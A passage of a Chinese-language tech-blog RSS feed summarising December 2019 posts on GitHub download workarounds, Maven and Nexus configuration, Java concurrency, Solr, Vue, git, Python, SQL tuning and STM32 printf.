      <link>https://bchobby.github.io/posts/e460a67356f75e498468b7a7bad00ca6/</link>
      <pubDate>Sun, 29 Dec 2019 15:32:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e460a67356f75e498468b7a7bad00ca6/</guid>
      <description>转自：https://blog.csdn.net/TeFuirnever/article/details/99110367&#xA;写这篇文章缘由，是下载一个机器学习课程的课件，想去GitHub上下载，结果下载速度居然只有几k，并且还老是下载失败。然后去百度解决办法，基本上都是让修改hosts文件，修改完成后发现效果并不明显（其实下载速度并没多大变化，从个位数变成了十位而已），于是找到了另一种方法来高速下载GitHub上的项目。&#xA;利用码云来克隆GitHub项目，操作简单而且有效，下面是图文详情：&#xA;1、首先需要一个码云账户，如果你没有，这个是官网地址——https://gitee.com/ 。&#xA;2、注册一个账户。&#xA;3、手机号就可以，一分钟的事。&#xA;4、新建一个仓库。&#xA;5、选择导入已有仓库。&#xA;6、找到你的GitHub网站，选择clone下的网址，复制。&#xA;7、在上面链接中输入我们刚刚复制的要导入的github项目地址，然后点击创建。&#xA;8、等待码云克隆项目，大概1-3分钟（由你的网络和要克隆项目大小决定）。&#xA;9、克隆完成，下载我们码云上的项目（这个就是你正常下载速度了）。&#xA;10、正常下载项目（原谅我的超级慢校园网速）。&#xA;11、最后下载完成后，如果不需要这个项目了可以在码云上删除，我们只是想解决下载慢和下载不下来的问题而已，不要过多的创建无用项目。&#xA;12、选择删除仓库，复制黑色验证信息到相应位置，点击确认删除，然后验证你的密码，就可以删除了。&#xA;本文只是提供一种博主验证可行并使用的解决GitHub下载慢或下载失败问题的方法。&#xA;————————————————&#xA;原文链接：https://blog.csdn.net/TeFuirnever/article/details/99110367</description>
    </item>
    <item>
      <title>STM32F103C8/BT6最小系统原理图、PCB</title>
      <link>https://bchobby.github.io/posts/ecbce6f36ceb9474ebe6d61a55f76b2d/</link>
      <pubDate>Sat, 28 Dec 2019 18:48:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecbce6f36ceb9474ebe6d61a55f76b2d/</guid>
      <description>STM32F103C8T6是一款基于ARM Cortex-M 内核STM32系列的32位的微控制器，程序存储器容量是64KB（STM32F103CBT6存储器容量128KB），需要电压2V~3.6V，工作温度为-40°C ~ 85°C。&#xA;具体指标如下：&#xA;将 STM32F103C8T6（STM32F103X8和STM32F103XB的最小系统一致，不过是闪存不同，具体差异参见：STM32选型）最小系统原理图、PCB开源给小伙伴，效果如下所示：&#xA;关注公众号，回复关键字：STM32F103C8T6最小系统，获取资源。</description>
    </item>
    <item>
      <title>maven BUILD FAILURE的解决办法</title>
      <link>https://bchobby.github.io/posts/ea752371c155cc93b0fb48b2499a82fe/</link>
      <pubDate>Sat, 28 Dec 2019 16:45:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea752371c155cc93b0fb48b2499a82fe/</guid>
      <description>问题描述 在使用IDEA的maven创建项目时总是失败，错误信息如下截图所示：&#xA;从图中可以看到是maven出了问题，在控制终端中执行maven help:system命令，测试能否正常build项目，执行错误信息如下所示：&#xA;尝试的解决办法： 删除C:\user\用户名.m2文件夹下的repository文件夹，选择maven–&amp;gt;clean–&amp;gt;install，重新build项目。（无效）删除原有的maven文件夹，官网下载最新的maven包并进行相关配置。（无效）&#xA;3.修改.m2和maven\conf文件夹下的settings.xml文件的镜像网址。(无效) &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public/&amp;lt;/url&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;/mirror&amp;gt; 成功的解决办法 修改镜像网址，如下所示：（有效）&#xA;&amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;repo1&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;maven2&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;repo1 maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://repo1.maven.org/maven2&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; 修改后，在终端中运行mvn help:system</description>
    </item>
    <item>
      <title>解决python的pandas使用to_excel()函数出现问题</title>
      <link>https://bchobby.github.io/posts/91d1b4a2e3830cf5ef29ad765d6a8231/</link>
      <pubDate>Sat, 28 Dec 2019 13:59:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91d1b4a2e3830cf5ef29ad765d6a8231/</guid>
      <description>使用to_excel()函数报错为：got invalid value of type &amp;lt;class &#39;xml.etree.ElementTree.Element&#39;&amp;gt;, expected string or Element&#xA;.使用conda 或者pip 安装以下openpyxl版本&#xA;pip install openpyxl==3.0.0&#xA;或者&#xA;conda install openpyxl==3.0.0&#xA;原来的版本为3.0.2，可能是出现了bug。</description>
    </item>
    <item>
      <title>利用服务器远程下载github项目，在下载回本地</title>
      <link>https://bchobby.github.io/posts/753e274162b367b0877dd5f6d4887840/</link>
      <pubDate>Fri, 27 Dec 2019 23:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/753e274162b367b0877dd5f6d4887840/</guid>
      <description>利用服务器远程下载github项目，在下载回本地&#xA;一、通过git下载&#xA;1、若电脑未安装git，需先安装git&#xA;查看系统是否已经安装git&#xA;git --version&#xA;2、CentOS7 yum 安装git&#xA;yum install -y git&#xA;卸载git&#xA;yum remove git&#xA;3、从github上找到下载地址&#xA;4、开始下载，例如：&#xA;git clone https://github.com/coolsnowwolf/openwrt.git&#xA;二、下载回本地&#xA;可以ssh登录或者用winscp登录远程服务器，直接把文件夹下载回来。</description>
    </item>
    <item>
      <title>Could not transfer metadata ../maven-metadata.xml from/to nexus ..: Not authorized</title>
      <link>https://bchobby.github.io/posts/4f5f14b3a3fc72a091a0aabf6d2bc2f6/</link>
      <pubDate>Fri, 27 Dec 2019 23:28:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f5f14b3a3fc72a091a0aabf6d2bc2f6/</guid>
      <description>在使用私服nexus，打包的时候一直抱以下的错误&#xA;Could not transfer metadata com.funtl:itoken-dependencies:1.0.0-SNAPSHOT/maven-metadata.xml from/to nexus (http://192.168.134.129:8081/repository/maven-public/): Not authorized&#xA;子项目的pom.xml中是这样写的&#xA;&amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;nexus&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;Nexus Repository&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://192.168.134.129:8081/repository/maven-public/&amp;lt;/url&amp;gt; &amp;lt;snapshots&amp;gt; &amp;lt;enabled&amp;gt;true&amp;lt;/enabled&amp;gt; &amp;lt;/snapshots&amp;gt; &amp;lt;releases&amp;gt; &amp;lt;enabled&amp;gt;true&amp;lt;/enabled&amp;gt; &amp;lt;/releases&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; 我的maven的setting.xml中是有设置密码的&#xA;&amp;lt;servers&amp;gt; &amp;lt;server&amp;gt; &amp;lt;id&amp;gt;nexus-releases&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; &amp;lt;server&amp;gt; &amp;lt;id&amp;gt;nexus-snapshots&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; &amp;lt;/servers&amp;gt; 刚开始一直以为是读取不到依赖&#xA;所以使用了下面的命令，指定了maven配置的位置，也是不行&#xA;mvn -s &#34;D:\Java\maven\apache-maven-3.6.1\conf\settings.xml&#34; clean package 解决方法： 在maven的setting文件的servers节点下添加以下配置&#xA;&amp;lt;server&amp;gt; &amp;lt;id&amp;gt;nexus-public&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; 就是把这个库的账号密码也写进去，问题解决</description>
    </item>
    <item>
      <title>c#实验2 3</title>
      <link>https://bchobby.github.io/posts/ed915d0c495f4bf265611a896ac02d96/</link>
      <pubDate>Fri, 27 Dec 2019 17:00:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed915d0c495f4bf265611a896ac02d96/</guid>
      <description>上机练习题&#xA;（1）构造一个类，可以分别对任意多个整数、小数或字符串进行排序。&#xA;答：具体步骤和主要代码如下：&#xA;① 创建一个控制台应用程序exerciseSort。&#xA;② 在Program.cs文件中定义一个Sort类，并在其中定义三个重载的方法BubbleSort；在Program类的Main函数中测试对任意多个整数、小数或字符串的排序。Program.cs文件的主要代码如下所示：&#xA;using System; namespace exerciseSort { public static class Sort { //此处设置double[]、string[]类型数组与int[]相似，代码略 public static void BubbleSort(params int[] array) { for (int i = 0; i &amp;lt; array.Length; i++) { int tempindex = i; for (int j = i + 1; j &amp;lt; array.Length; j++) { if (array[tempindex] &amp;gt; array[j]) { tempindex = j; } } if (tempindex != i) { int tempValue = array[tempindex]; array[tempindex] = array[i]; array[i] = tempValue; } } } public static void BubbleSort(params double[] array) { for (int i = 0; i &amp;lt; array.</description>
    </item>
    <item>
      <title>NTF的搭建）（linux-linux）</title>
      <link>https://bchobby.github.io/posts/61cea477b559708f263242f8ac0c1633/</link>
      <pubDate>Fri, 27 Dec 2019 10:56:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61cea477b559708f263242f8ac0c1633/</guid>
      <description>1准备两台虚拟机&#xA;ip分别为192.168.1.241，服务器&#xA;192.168.1.244，客户端&#xA;2在服务器上安装 nfs-ntils和rpcbind&#xA;. ![用yum安装&#xA;3修改配置文件，允许客户端访问&#xA;4创建目录增加权限&#xA;5分别·开启rpcbind和ntf&#xA;6关闭防火墙和沙盒&#xA;7.yum安装nfs-ntils和rpcbind&#xA;8关闭服务&#xA;9ping客户端&#xA;10客户·端连接服务端IP&#xA;11关闭防火墙和沙盒&#xA;12挂载&#xA;13用df查看</description>
    </item>
    <item>
      <title>ABA问题初探，乐观锁&amp;悲观锁；ABA问题产生，解决，附代码</title>
      <link>https://bchobby.github.io/posts/1ab848a03295dd9b4bd137c25347c78b/</link>
      <pubDate>Fri, 27 Dec 2019 09:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ab848a03295dd9b4bd137c25347c78b/</guid>
      <description>什么是锁？ 针对数据库来说，锁是数据库系统系统区别于文件系统的一个关键特性。该机制用于管理对共享资源的并发访问！&#xA;悲观锁、乐观锁使用场景是针对数据库操作来说的，是一种锁机制。&#xA;悲观锁(Pessimistic Lock)： 顾名思义，每次去拿数据的时候都悲观地认为别人会修改，所以每次在拿数据的时候都会上锁，这样别人想拿这个数据就会block直到它拿到锁。传统的关系型数据库里边就用到了很多这种锁机制，比如行锁，表锁等，读锁，写锁等，都是在做操作之前先上锁。&#xA;乐观锁(Optimistic Lock)： 顾名思义，每次去拿数据的时候都乐观地认为别人不会修改，所以不会上锁，但是在更新的时候会判断一下在此期间别人有没有去更新这个数据，可以使用版本号等机制，即对数据做版本控制。乐观锁适用于多读的应用类型，这样可以提高吞吐量，像数据库如果提供类似于write_condition机制的其实都是提供的乐观锁。&#xA;什么是ABA问题？ 在多线程运行中，因指令重排序优化的存在，数据依赖性问题。在极短的时间里A线程处理完数据之后又将数据修改回第一次修改时的值。在此过程中尽管B线程从主存拿到了修改前的值，在A处理过程中对B透明，A处理完之后，B线程去操作该数据，并未发现这个变量被修改过。这一过程我们称为：ABA问题。CAS所致！ ABA问题的处理（带时间戳的原子引用 ） * 原子引用（AtomicSatmpedReference）：带时间戳的原子引用。 &amp;gt; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; import java.util.concurrent.atomic.AtomicStampedReference; /** * Author： Be_insighted * Description： * * @date 2019/12/27 8:52 **/ public class ABADemo { static AtomicReference&amp;lt;Integer&amp;gt; atomicReference = new AtomicReference&amp;lt;&amp;gt;(100); static AtomicStampedReference&amp;lt;Integer&amp;gt; atomicStampedReference = new AtomicStampedReference&amp;lt;&amp;gt;(100, 1); public static void main(String[] args) { System.out.println(&#34;====================ABA问题产生===================&#34;); new Thread(() -&amp;gt; { atomicReference.compareAndSet(100, 101); System.out.println(&#34;第一次修改完后：&#34; + atomicReference.get()); atomicReference.compareAndSet(101, 100); System.</description>
    </item>
    <item>
      <title>Solr搜索应用服务器</title>
      <link>https://bchobby.github.io/posts/a6ea4b2e5f5317fb08ad5e1ab8f5db0f/</link>
      <pubDate>Thu, 26 Dec 2019 20:01:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6ea4b2e5f5317fb08ad5e1ab8f5db0f/</guid>
      <description>一，Solr简介 1，Solr是什么 Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http G SolrJ操作提出查找请求（也可以提交json格式），并得到XML格式的返回结果.&#xA;2，Solr与lucene的关系 Luncene是一套信息检索工具包，但并不包含搜索引擎系统，它包含了索引结构，读写索引工具、相关性工具（其他的搜索组件）、排序等功能，因此在使用luncene时你扔需要关注搜索引擎系统，例如数据获取、解析、分词等方面的东西。&#xA;首先solr是基于luncene做的，solr的目标是打造一款企业级的搜索引擎系统，因此它更接近于我们认识到的搜索引擎系统，它是一个搜索引擎服务，通过各种API可以让你的应用使用搜索服务，而不需要将搜索逻辑耦合在应用中。而且solr可以根据配置文件定义数据解析的方式，更像是一个搜索框架，它也支持主从（集群中的方式）、热换库（索引的数据与数据库的同步）等操作，还添加了高亮、facet（搜索组件）等搜索引擎常见功能的支持。&#xA;二，Solr环境配置 （1），Solr下载&#xA;solr安装包的下载&#xA;（2），整合Solr和tomcat&#xA;Solrhome目录是Solr运行的主目录，目录中包括了运行Solr实例所有配置文件和数据文件，Solr实例是SolrCore，一个SolrHome可以包括多个SolrCore，每个SolrHome提供单独的搜索和索引服务。&#xA;②将Solr里面的solr.war文件解压拷贝到tomcat里面的webapps目录下&#xA;1.solr.war的路径&#xA;2.solr解压路径&#xA;③将solr-4.10中依赖包导入tomcat的solr中&#xA;1.solr-4.10包的位置&#xA;2.导入tomcat的solr位置&#xA;④将solr-4.10中SolrCore（solr实例）导入Solrhome中&#xA;solr-4.10中SolrCore（solr实例）路径&#xA;Solrhome路径&#xA;⑤在solrCode的web.xml中配置Solrhome中&#xA;solrCode的web.xml路径&#xA;solrCode的web.xml配置代码（web-app标签中）&#xA;&amp;lt;env-entry&amp;gt; &amp;lt;env-entry-name&amp;gt;solr/home&amp;lt;/env-entry-name&amp;gt; &amp;lt;env-entry-value&amp;gt;C:\myself\solrhome&amp;lt;/env-entry-value&amp;gt; &amp;lt;env-entry-type&amp;gt;java.lang.String&amp;lt;/env-entry-type&amp;gt; &amp;lt;/env-entry&amp;gt; ⑥启动tomcat&#xA;三，collection介绍 （1）collection集合介绍 （2）collection添加 1.将collection1复制一份改名为collection2&#xA;2.更改配置文件&#xA;注意:collection是对搜索分模块用到一般用不到&#xA;（3）添加IKAnalyzer分析器 1.IKAnalyzer包导入&#xA;2.在tomcat的WEN-INF文件夹里面新建一个classes文件夹添加以下文件文件内容可以在lucene中找到&#xA;3.在solrHome\collection1\config\schema.xml添加如下代码&#xA;&amp;lt;!--IKAnalyzer--&amp;gt; &amp;lt;fieldType name=&#34;text_ik&#34; class=&#34;solr.TextField&#34;&amp;gt; &amp;lt;analyzer class=&#34;org.wltea.analyzer.lucene.IKAnalyzer&#34;/&amp;gt; &amp;lt;/fieldType&amp;gt; &amp;lt;!--IKAnalyzer Field--&amp;gt; &amp;lt;field name=&#34;title_ik&#34; type=&#34;text_ik&#34; indexed=&#34;true&#34; stored=&#34;true&#34; /&amp;gt; &amp;lt;field name=&#34;content_ik&#34; type=&#34;text_ik&#34; indexed=&#34;true&#34; stored=&#34;false&#34; multiValued=&#34;true&#34;/&amp;gt; （4）导入数据 1.在solrhome\collection1目录新建lib目录导入两个数据导入包和一个数据库驱动包&#xA;两个数据导入包位置&#xA;配置数据库域&#xA;在solrhome\collection1\conf\solrconfig.xml文件里面找到&#xA;&amp;lt;!-- Legacy config for the admin interface --&amp;gt; &amp;lt;admin&amp;gt; &amp;lt;defaultQuery&amp;gt;*:*&amp;lt;/defaultQuery&amp;gt; &amp;lt;/admin&amp;gt; &amp;lt;requestHandler name=&#34;</description>
    </item>
    <item>
      <title>Vue 屏幕适配 postcss-pxtorem</title>
      <link>https://bchobby.github.io/posts/e23ecb5bc15923b760cbea7715c18242/</link>
      <pubDate>Thu, 26 Dec 2019 18:08:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e23ecb5bc15923b760cbea7715c18242/</guid>
      <description>此适配方案是每次屏幕尺寸或分辨率发生大小的时候都会把所有的px替换成rem单位。&#xA;1、安装依赖&#xA;npm install postcss-pxtorem -D 2、在根目录创建postcss.config.js文件&#xA;module.exports = { plugins: { autoprefixer: {}, &#34;postcss-pxtorem&#34;: { rootValue: 19.2, propList: [&#34;*&#34;] } } }; 3、创建rem.js&#xA;// 设置 rem 函数 function setRem() { // 320 默认大小16px; 320px = 20rem ;每个元素px基础上/16 let htmlWidth = document.documentElement.clientWidth || document.body.clientWidth; //得到html的Dom元素 let htmlDom = document.getElementsByTagName(&#34;html&#34;)[0]; //设置根元素字体大小 htmlDom.style.fontSize = htmlWidth / 100 + &#34;px&#34;; } // 初始化 setRem(); // 改变窗口大小时重新设置 rem window.onresize = function() { setRem(); }; 4、将rem.</description>
    </item>
    <item>
      <title>如何查看仅一个用户提交的git日志？</title>
      <link>https://bchobby.github.io/posts/e40950ddaaba2ae29d8f31116da64818/</link>
      <pubDate>Thu, 26 Dec 2019 09:55:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e40950ddaaba2ae29d8f31116da64818/</guid>
      <description>使用git log ，如何按用户筛选，以便仅看到该用户的提交？ #1楼 您甚至可以简单地使用一部分用户名来缩写一下： git log --author=mr #if you&#39;re looking for mrfoobar&#39;s commits #2楼 cat | git log --author=&#34;authorName&#34; &amp;gt; author_commits_details.txt 这将以文本格式提供您的提交。 #3楼 在github上还有一个秘密的方法... 您可以通过添加参数param ?author=github_handle在提交视图中过滤作者的提交。 例如，链接https://github.com/dynjs/dynjs/commits/master?author=jingweno显示了对Dynjs项目的提交列表。 #4楼 详细信息-（此处%an指作者） 用这个 ：- git log --author=&#34;username&#34; --pretty=format:&#34;%h - %an, %ar : %s&#34; #5楼 如果使用GitHub： 去分支 点击提交 它将以以下格式显示列表 branch_x: &amp;lt; comment&amp;gt; author_name committed 2 days ago 看个人作者的所作所为; 单击author_name ，在那里您可以看到该分支上该作者的所有提交 #6楼 如果要过滤自己的提交： git log --author=&#34;&amp;lt;$(git config user.email)&amp;gt;&#34; #7楼 git log --author=&#34;that user&#34; #8楼 git help log 给你git log的手册页。 通过按/，然后键入“作者”，然后按Enter，在此处搜索“作者”。 多次键入“ n”以转到相关部分，其中显示： git log --author=&#34;</description>
    </item>
    <item>
      <title>【Xcode】Xcode之命令行使用</title>
      <link>https://bchobby.github.io/posts/a99e6b7932c4d62edc6e674edee54d5f/</link>
      <pubDate>Thu, 26 Dec 2019 02:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a99e6b7932c4d62edc6e674edee54d5f/</guid>
      <description>Links 命令行参考 https://developer.apple.com/library/archive/technotes/tn2339/_index.html</description>
    </item>
    <item>
      <title>Python 3.8 与老版本的不同要点</title>
      <link>https://bchobby.github.io/posts/599e7e145d43a20dfec3e72590cdbfc7/</link>
      <pubDate>Wed, 25 Dec 2019 20:44:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/599e7e145d43a20dfec3e72590cdbfc7/</guid>
      <description>1、print 打印内容要用括号括起来。&#xA;例如：print(’ Hello Tvm-ERP &#39;) 2、reload 重载模块前需要先执行 import importlib 。&#xA;例如：import hello2&#xA;import importlib&#xA;importlib.reload(hello2) #重载hello2模块&#xA;3、socket发送send字符串时必须 str.encode(encoding = &#34;utf-8&#34;)或gbk ，接收recv时需要str.recv(1024).decode(&#39;utf-8&#39;)&#xA;encode该方法返回编码后的字符串，它是一个 bytes 对象&#xA;例如：服务端 import socket def main(): s = socket.socket() port = 51234 s.bind((&#39;localhost&#39;, port)) s.listen(5) while True: c, addr=s.accept() print(&#39;got connection &#39;, addr) c.send(&#39;XDQ，你非常棒！&#39;.encode(encoding = &#34;utf-8&#34;)) c.close() if __name__ == &#34;__main__&#34;: main() 客户端&#xA;#socketc1.py import socket def main(): s = socket.socket() add = input(&#39;请输入服务端地址:&#39;) s.connect((add, 51234)) print(s.</description>
    </item>
    <item>
      <title>微前端框架 qiankun 源码解读 1.3 hijackers/动态加载标签</title>
      <link>https://bchobby.github.io/posts/abe7b5b409d8d7658ed222a3ddcb8ec1/</link>
      <pubDate>Wed, 25 Dec 2019 17:23:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abe7b5b409d8d7658ed222a3ddcb8ec1/</guid>
      <description>import { execScripts } from &#39;import-html-entry&#39;; import { isFunction } from &#39;lodash&#39;; import { checkActivityFunctions } from &#39;single-spa&#39;; import { Freer } from &#39;../interfaces&#39;; const styledComponentSymbol = Symbol(&#39;styled-component&#39;); declare global { interface HTMLStyleElement { [styledComponentSymbol]?: CSSRuleList; } } const rawHtmlAppendChild = HTMLHeadElement.prototype.appendChild; const SCRIPT_TAG_NAME = &#39;SCRIPT&#39;; const LINK_TAG_NAME = &#39;LINK&#39;; const STYLE_TAG_NAME = &#39;STYLE&#39;; /** * Check if a style element is a styled-component liked. * A styled-components liked element is which not have textContext but keep the rules in its styleSheet.</description>
    </item>
    <item>
      <title>Django项目上传.gitignore文件建议忽略文件清单及是否需要忽略数据库迁移文件</title>
      <link>https://bchobby.github.io/posts/3bdf6a2a5fb4b1bae14d265c36c9fd05/</link>
      <pubDate>Wed, 25 Dec 2019 14:42:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bdf6a2a5fb4b1bae14d265c36c9fd05/</guid>
      <description>Django项目开发或改动完成后将本地代码提交到代码库(比如github)时，我们需要考虑哪些文件需要提交，哪些不需要提交。这是因为有些库文件(比如缓存文件)，本地日志文件还有一些编译文件是不必要提交的。这时我们可以使用.gitingnore文件忽略不需要提交的文件。本文介绍如何创建.gitignore文件，哪些Django项目文件建议忽略提交，并重点介绍我们是否需要忽略数据库迁移文件。&#xA;创建.gitignore文件&#xA;1. 首先安装git，网上教程很多，我就不多说了。&#xA;2. 在需要创建.gitignore文件的文件夹（通常为Django项目文件夹，而不是app文件夹), 右键选择Git Bash 进入命令行，进入项目所在目录。&#xA;3. 输入 touch.gitignore，生成.gitignore文件。&#xA;4. 用notepad或者vim命令在.gitignore 文件里输入你要忽略的文件夹及其文件就可以了。&#xA;Django项目建议忽略的文件清单&#xA;一般缓存文件__pycache__和本地日志文件.log不需要提交。media文件夹和db.sqlite3文件可能包括了本地测试数据和文件，也不要提交。PyCharm生成的文件， Env文件第三方package也不要提交。&#xA;# Django # *.log *.pot *.pyc __pycache__ db.sqlite3 media # Backup files # *.bak # If you are using PyCharm # .idea/**/workspace.xml .idea/**/tasks.xml .idea/dictionaries .idea/**/dataSources/ .idea/**/dataSources.ids .idea/**/dataSources.xml .idea/**/dataSources.local.xml .idea/**/sqlDataSources.xml .idea/**/dynamic.xml .idea/**/uiDesigner.xml .idea/**/gradle.xml .idea/**/libraries *.iws /out/ # Python # *.py[cod] *$py.class # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ *.</description>
    </item>
    <item>
      <title>python-tensorflow-opencv《计算机视觉的深度学习实践》代码笔记</title>
      <link>https://bchobby.github.io/posts/f64b92b89dc4c13d1bf7a803afada95f/</link>
      <pubDate>Wed, 25 Dec 2019 12:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f64b92b89dc4c13d1bf7a803afada95f/</guid>
      <description>python-tensorflow-opencv《计算机视觉的深度学习实践》代码笔记 01 课程概述 tf_test:&#xA;import tensorflow as tf # 创建2个矩阵，前者1行2列，后者2行1列，然后矩阵相乘： matrix1 = tf.constant([[3,3]]) matrix2 = tf.constant([[2], [2]]) product = tf.matmul(matrix1,matrix2) # 上边的操作是定义图，然后用会话Session去计算： with tf.Session() as sess: result2 = sess.run(product) print(result2) print(&#34;-----------------------------&#34;) print(matrix1) [[12]] ----------------------------- Tensor(&#34;Const_2:0&#34;, shape=(1, 2), dtype=int32) opencv_test:&#xA;import cv2 as cv #读取图像，支持 bmp、jpg、png、tiff 等常用格式 img = cv.imread(&#34;D:/vcprojects/images/lena.png&#34;) #创建窗口并显示图像 cv.namedWindow(&#34;Image&#34;) cv.imshow(&#34;Image&#34;,img) cv.waitKey(0) #释放窗口 cv.destroyAllWindows() 02 图像预处理 f1.py程序：&#xA;import cv2 import numpy as np import matplotlib.pyplot as plt img = cv2.</description>
    </item>
    <item>
      <title>数据库优化：优化SQL步骤</title>
      <link>https://bchobby.github.io/posts/b41520f0c9270b7b9f9ddf7e872a64ae/</link>
      <pubDate>Tue, 24 Dec 2019 21:08:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b41520f0c9270b7b9f9ddf7e872a64ae/</guid>
      <description>优化SQL步骤 1 查看SQL执行频率 MySQL 客户端连接成功后，通过 show [session|global] status 命令可以提供服务器状态信息。show [session|global] status 可以根据需要加上参数“session”或者“global”来显示 session 级（当前连接）的计结果和 global 级（自数据库上次启动至今）的统计结果。如果不写，默认使用参数是“session”。&#xA;下面的命令显示了当前 session 中所有统计参数的值：&#xA;show status like &#39;Com_______&#39;; show status like &#39;Innodb_rows_%&#39;; Com_xxx 表示每个 xxx 语句执行的次数，我们通常比较关心的是以下几个统计参数。&#xA;参数含义Com_select执行 select 操作的次数，一次查询只累加 1。Com_insert执行 INSERT 操作的次数，对于批量插入的 INSERT 操作，只累加一次。Com_update执行 UPDATE 操作的次数。Com_delete执行 DELETE 操作的次数。Innodb_rows_readselect 查询返回的行数。Innodb_rows_inserted执行 INSERT 操作插入的行数。Innodb_rows_updated执行 UPDATE 操作更新的行数。Innodb_rows_deleted执行 DELETE 操作删除的行数。Connections试图连接 MySQL 服务器的次数。Uptime服务器工作时间。Slow_queries慢查询的次数。 Com_*** : 这些参数对于所有存储引擎的表操作都会进行累计。&#xA;Innodb_*** : 这几个参数只是针对InnoDB 存储引擎的，累加的算法也略有不同。&#xA;2 定位低效率执行SQL 可以通过以下两种方式定位执行效率较低的 SQL 语句。&#xA;慢查询日志 : 通过慢查询日志定位那些执行效率较低的 SQL 语句，用–log-slow-queries[=file_name]选项启动时，mysqld 写一个包含所有执行时间超过 long_query_time 秒的 SQL 语句的日志文件。具体可以查看本书第 26 章中日志管理的相关部分。show processlist : 慢查询日志在查询结束以后才纪录，所以在应用反映执行效率出现问题的时候查询慢查询日志并不能定位问题，可以使用show processlist命令查看当前MySQL在进行的线程，包括线程的状态、是否锁表等，可以实时地查看 SQL 的执行情况，同时对一些锁表操作进行优化。</description>
    </item>
    <item>
      <title>已知向量AB, AC。  AB朝着AC旋转一定角度N, 求B的新坐标</title>
      <link>https://bchobby.github.io/posts/95b9b737ad21695ad933509b8803a83b/</link>
      <pubDate>Tue, 24 Dec 2019 17:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95b9b737ad21695ad933509b8803a83b/</guid>
      <description>//求AB,AC的法向量&#xA;Vector3.acoss(AB, AC, out)&#xA;//归一化&#xA;Vector3.normalize(out, out)&#xA;//得到旋转轴&#xA;Vector3.add(A,out);&#xA;//创建旋转矩阵&#xA;Matrix4x4.createRotationAxis(out, n, outMatrix)&#xA;//获取新的AC向量&#xA;Vector3.transformV3ToV3(AC, outMatrix, newAC)</description>
    </item>
    <item>
      <title>在STM32上使用printf的两种方法</title>
      <link>https://bchobby.github.io/posts/15b87b833092c44236826a68b369a949/</link>
      <pubDate>Tue, 24 Dec 2019 17:35:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15b87b833092c44236826a68b369a949/</guid>
      <description>单片机的开发中，很多时候我们需要看单片机的工作情况，比如看寄存器的变化，看局部变量或者全局变量，又或者程序的逻辑设计有问题，没有按预设进行某一个步骤，此时要查看程序跑到哪一个步骤里去了，等等，我们都需要查看与验证。通常我们会查用两种办法，一种是debug，一种是把要查看的信息利用某种数据接口打印出来。&#xA;debug的好处很多，不足之处也有，好处是直接看内存、看寄存器（要编译器支持，比如keil就支持STM32,51类的），用断点方式查看程序死在哪个位置，但是debug的不足之处，它有时会造成编译器崩掉等，有的编译器看局部变量只能是在打断点时才能看到。所以就要利用别的手段，就是利用某种数据接口把要查看的信息打印出来。&#xA;这里的某种数据接口是什么呢？常见的如下：&#xA;1.包括RS232、RS422、RS485，其实质都是串口（UART/USART）&#xA;2.Jlink调试口&#xA;3.Ethernet（以太网接口，即网线接口）&#xA;4.WiFi&#xA;5.CAN&#xA;6.蓝牙&#xA;以上6种都是常见的数据接口。这6种接口里，第3至第6种都是属于要配合规范协议使用的接口，在它们上面使用printf会稍显麻烦（对于高手来说却是easy的），必须按规范协议来组织数据帧，自由度不高，所以单片机上常用的是串口和jlink调试口。本文就介绍如何基于串口与Jlink实现printf函数。&#xA;第一篇：基于串口的printf&#xA;既然是基于串口，当然要把串口部份的代码先调试好，即起码的收一个字节和发一个字节要没有问题才行。如何写串口的收发函数，请自行在网上搜索，这里就不跨界了。&#xA;单片机的收发数据有两种方式，一种